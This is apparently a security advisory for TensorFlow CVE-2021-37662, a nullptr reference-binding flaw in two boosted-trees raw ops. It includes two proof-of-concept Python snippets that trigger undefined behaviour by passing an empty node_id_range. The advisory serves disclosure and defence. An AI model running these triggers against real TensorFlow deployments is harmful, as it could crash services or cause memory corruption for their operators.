CVE-2021-37662: Reference binding to nullptr in boosted trees

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An attacker can generate undefined behavior via a reference binding to nullptr in BoostedTreesCalculateBestGainsPerFeature:

import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
node_id_range=[],
stats_summary_list=[[1,2,3]],
l1=[1.0],
l2=[1.0],
tree_complexity =[1.0],
min_node_weight =[1.17],
max_splits=5)

A similar attack can occur in BoostedTreesCalculateBestFeatureSplitV2:

import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
node_id_range=[],
stats_summaries_list=[[1,2,3]],
split_types=[''],
candidate_feature_ids=[1,2,3,4],
l1=[1],
l2=[1],
tree_complexity=[1.0],
min_node_weight=[1.17],
logits_dimension=5)

References

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